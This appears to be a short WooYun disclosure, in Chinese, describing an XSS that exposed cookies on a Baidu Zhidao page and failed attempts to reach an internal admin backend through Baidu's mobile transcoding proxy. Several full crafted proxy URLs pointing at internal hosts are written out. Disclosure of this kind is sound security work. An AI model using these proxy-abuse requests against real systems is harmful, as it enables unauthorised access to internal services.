WooYun.org

XSS漏洞细节
地址:http://zhidao.baidu.com/prof/apply?step=2

输入自己的XSS代码，不久就可以看到Cookie，

可惜后台做了限制，访问不了，于是开始寻找“百度转码的URL漏洞”( WooYun: 我是如何漫游腾讯内部网络的 类似这样的漏洞)。看到乌云上已经发过类似的漏洞，就知道想在主站找到这个漏洞肯定没戏，于是我把目光放到了分站新闻站上

打开连接修改后面的SRC=wooyun.org发现可以访问
http://wap.baidu.com/ssid=0/from=0/bd_page_type=1/uid=0/pu=sz@224_220,ta@middle___3_537/t=news_top/tc?order=1&pfr=3-11-bdindex-top-6--&m=0&src=http%3A%2F%2Fwww.wooyun.org
于是我修改成后台地址，发现报以下错误，看到报错，心情小激动，看来有戏了。
http://wap.baidu.com/ssid=0/from=0/bd_page_type=1/uid=0/pu=sz@224_220,ta@middle___3_537/t=news_top/tc?order=1&pfr=3-11-bdindex-top-6--&m=0&src=http://xxxxx.baidu.com/mis/pgc_applylist?rn=10&keytype=&keyvalue=&order=time&type=1&pn=60

改了Cookie重新访问了下，发现并没有什么变化。
接下来又测试以下URL希望可以得到什么有用的信息，可是依然没有变化
http://m.baidu.com/ssid=0/from=381a/bd_page_type=1/uid=0/pu=sz%40224_220%2Cta%40middle____/t=news_top/tc?order=1&pfr=3-11-bdindex-top-6--&m=0&src=http://admin@admin:xxxx.baidu.com:8080/mis/index
于是我猜想可能是这个链接转码存在问题，功夫不苦有心人，又在小说处找到一处类似漏洞
http://m.baidu.com/ssid=0/from=381a/bd_page_type=1/uid=0/pu=sz%40224_220%2Cta%40middle____/t=news_top/tc?order=1&pfr=3-11-bdindex-top-6--&m=0&src= http://xxxxx.baidu.com/mis/pgc_applylist?rn=10&keytype=&keyvalue=&order=time&type=1&pn=60
赶紧测试了下，可是依然存在同样的问题，测试到这里，才知道前面的猜想都是错的，后台的访问权限可能只是给了某些IP，好想XSS个马继续搞，可惜那是黑客的行为，知道自己还不够格，就不继续了，呵呵。